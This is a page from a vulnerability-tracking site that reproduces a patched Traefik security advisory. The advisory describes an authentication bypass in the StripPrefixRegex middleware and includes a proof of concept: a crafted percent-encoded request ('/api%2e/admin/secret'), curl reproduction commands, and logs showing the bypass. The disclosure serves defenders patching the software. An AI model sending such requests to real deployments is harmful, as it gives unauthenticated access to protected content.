Zero Day MonitorZDM
DashboardVulnerabilitiesTrendingZero-DaysNewsAbout
Login
ImpressumPrivacy Policy
Zero Day Monitor © 2026
2809 articles · 125641 vulns · 36/41 feeds (7d)
← Back to list
—
CVE-2026-40912PATCHED
google · traefik

Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync

Description

## Summary There is a high severity authentication bypass vulnerability in Traefik's `StripPrefixRegex` middleware when used in combination with `ForwardAuth`, `BasicAuth`, or `DigestAuth`. The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. `/./admin/secret`). `ForwardAuth` receives this dot-segment path in `X-Forwarded-Uri`, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2 ## For more information If there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content. ### Details `pkg/middlewares/stripprefixregex/strip_prefix_regex.go`, line 62: ```go req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):]) ``` prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is present. Example with regex ^/api: - GET /api%20/admin/secret - Decoded Path: /api /admin/secret -> prefix = /api (4 bytes) - Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes - RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret - ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/* -> allows it - Backend serves the protected admin content PoC Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses auth, 200, returns protected data). Can share the files here if useful. Impact Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a percent-encoded character to the prefix portion of the URL. --- ### Updated PoC (reporter follow-up) After further testing, the confirmed working exploit uses `%2e` (percent-encoded dot) rather than `%20`. Dot-segment normalization (`/./` -> `/`) is RFC 3986 standard behavior handled automatically by Express.js, Go's `http.ServeMux`, Spring Boot, and others — no custom configuration needed. Chain: ``` GET /api%2e/admin/secret -> StripPrefixRegex strips /api -> RawPath becomes /./admin/secret -> ForwardAuth sees /./admin/secret -> does not match /admin/ -> allows -> Express normalizes /./admin/secret -> /admin/secret -> serves protected content ``` Results (Traefik v3.6, unmodified Express.js express.static): ``` GET /api/admin/secret -> 403 (blocked) GET /api%2e/admin/secret -> 200 (bypass — served protected content) GET /api%20/admin/secret -> 404 (space not normalized by backend) ``` Auth server logs: ``` X-Forwarded-Uri: '/admin/secret' -> DENIED X-Forwarded-Uri: '/./admin/secret' -> ALLOWED ``` Reproduction: ```bash docker compose up -d --build --wait curl http://localhost:8080/api/admin/secret # -> 403 curl --path-as-is "http://localhost:8080/api%2e/admin/secret" # -> 200 ``` </details> ---

Affected Products

VendorProductVersions
googletraefikgo/github.com/traefik/traefik/v3: >= 3.7.0-ea.1, < 3.7.0-rc.2, go/github.com/traefik/traefik/v3: >= 3.0.0-beta1, < 3.6.14, go/github.com/traefik/traefik/v2: < 2.11.43, go/github.com/traefik/traefik: <= 1.7.34

Also Affects

Downstream vendors/products affected by this vulnerability

VendorProductSourceConfidence
gogithub.com/traefik/traefik/v3GHSA85%
gogithub.com/traefik/traefik/v2GHSA85%
gogithub.com/traefik/traefikGHSA85%

References

  • https://github.com/advisories/GHSA-6jwx-7vp4-9847(advisory)
  • https://github.com/traefik/traefik/security/advisories/GHSA-6jwx-7vp4-9847
  • https://github.com/traefik/traefik/releases/tag/v2.11.43
  • https://github.com/traefik/traefik/releases/tag/v3.6.14
  • https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
  • https://github.com/advisories/GHSA-6jwx-7vp4-9847

Related News (1 articles)

Tier B
CERT-FR2d ago
Bulletin d'actualité CERTFR-2026-ACT-019 (27 avril 2026)
→ No new info (linked only)
CISA KEV❌ No
Actively exploited❌ No
Patch available
github.com/traefik/traefik/v3@3.7.0-rc.2github.com/traefik/traefik/v3@3.6.14github.com/traefik/traefik/v2@2.11.43
CWECWE-706
PublishedApr 24, 2026
Tags
GHSA-6jwx-7vp4-9847go
Trending Score19
Source articles1
Independent1
Info Completeness0/14
Missing: cve_id, title, description, vendor, product, versions, cvss, epss, cwe, kev, exploit, patch, iocs, mitre_attack

Community Vote

0
Login to vote
0 upvotes0 downvotes
No votes yet

Related CVEs (5)

CRITICALCVE-2026-6919EXP
CVE-2026-6919: Use after free in DevTools in Google Chrome prior to 147.0.7727.117 allowed a remote attacker who had compromised the re
Trending: 70
CRITICALCVE-2026-6920EXP
CVE-2026-6920: Out of bounds read in GPU in Google Chrome on Android prior to 147.0.7727.117 allowed a remote attacker who had compromi
Trending: 66
HIGHCVE-2026-6921EXP
CVE-2026-6921: Race in GPU in Google Chrome on Windows prior to 147.0.7727.117 allowed a remote attacker to potentially perform a sandb
Trending: 48
HIGHCVE-2026-39858EXP
Traefik: Pre-authentication decision bypass due to forwarded alias spoofing
Trending: 33
CRITICALCVE-2026-6296EXP
CVE-2026-6296: Heap buffer overflow in ANGLE in Google Chrome prior to 147.0.7727.101 allowed a remote attacker to potentially perform
Trending: 22

Pin to Dashboard

Verification

State: unverified
Confidence: 0%

Vulnerability Timeline

CVE Published
Apr 24, 2026
Patch Available
Apr 24, 2026
Discovered by ZDM
Apr 24, 2026